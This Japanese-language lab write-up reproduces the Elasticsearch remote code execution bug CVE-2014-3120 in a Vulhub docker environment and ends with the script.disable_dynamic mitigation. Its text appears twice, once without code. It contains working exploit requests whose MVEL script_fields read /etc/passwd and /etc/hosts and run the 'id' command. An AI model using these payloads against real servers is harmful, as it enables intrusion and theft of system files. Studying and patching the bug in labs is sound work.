Vulnhubによる脆弱性の再現-ElasticSearchコマンドによる脆弱性の実行(CVE-2014-3120)テスト環境
3550 ワード
ElasticSearchコマンド実行脆弱性(CVE-2014-3120)テスト環境 Vulnhub公式再現チュートリアル 脆弱性原理 脆弱性の再現 起動環境 脆弱性の再現 処理方法 Vulnhub公式再現チュートリアル
https://vulhub.org/#/environments/elasticsearch/CVE-2014-3120/
脆弱性の原理
関連ドキュメント:http://bouk.co/blog/elasticsearch-rce/、 https://www.t00ls.net/viewthread.php?tid=29408
旧リリースのElasticSearchでは、ダイナミックスクリプト(MVEL)の転送をサポートし、Javaコードを実行でき、砂箱がないため、任意のコードを直接実行できます.
MVEL実行コマンドのコードは以下の通りである.
抜け穴を再現する.
環境の起動
https://blog.csdn.net/JiangBuLiu/article/details/93853056アクセスパスは
脆弱性環境の構築と運用:
時間:8分間の環境起動後、
脆弱性の再現
Javaコードをjsonに入れます.
まず、この脆弱性にはesに少なくとも1つのデータが必要です.そのため、まず1つのデータを作成する必要があります.
その後、任意のコードを実行します.
処理方法
スクリプトを実行する機能をオフにして、プロファイルelasticsearch.ymlには、ノードごとに次のものが追加されます.
https://vulhub.org/#/environments/elasticsearch/CVE-2014-3120/
脆弱性の原理
関連ドキュメント:http://bouk.co/blog/elasticsearch-rce/、 https://www.t00ls.net/viewthread.php?tid=29408
旧リリースのElasticSearchでは、ダイナミックスクリプト(MVEL)の転送をサポートし、Javaコードを実行でき、砂箱がないため、任意のコードを直接実行できます.
MVEL実行コマンドのコードは以下の通りである.
import java.io.*;
new java.util.Scanner(Runtime.getRuntime().exec("id").getInputStream()).useDelimiter("\\A").next();
抜け穴を再現する.
環境の起動
https://blog.csdn.net/JiangBuLiu/article/details/93853056アクセスパスは
cd /root/vulhub/elasticsearch/CVE-2014-3120
脆弱性環境の構築と運用:
docker-compose build && docker-compose up -d
時間:8分間の環境起動後、
脆弱性の再現
Javaコードをjsonに入れます.
curl -XPOST 'http://localhost:9200/_search?pretty' -d '
{
"size": 1,
"query": {
"filtered": {
"query": {
"match_all": {}
}
}
},
"script_fields": {
"/etc/hosts": {
"script": "import java.util.*;
import java.io.*;
new Scanner(new File(\"/etc/hosts\")).useDelimiter(\"\\\\Z\").next();"
},
"/etc/passwd": {
"script": "import java.util.*;
import java.io.*;
new Scanner(new File(\"/etc/passwd\")).useDelimiter(\"\\\\Z\").next();"
}
}
}
'
まず、この脆弱性にはesに少なくとも1つのデータが必要です.そのため、まず1つのデータを作成する必要があります.
POST /website/blog/ HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
{
"name": "phithon"
}
その後、任意のコードを実行します.
POST /_search?pretty HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 343
{
"size": 1,
"query": {
"filtered": {
"query": {
"match_all": {
}
}
}
},
"script_fields": {
"command": {
"script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"
}
}
}
処理方法
スクリプトを実行する機能をオフにして、プロファイルelasticsearch.ymlには、ノードごとに次のものが追加されます.
script.disable_dynamic: true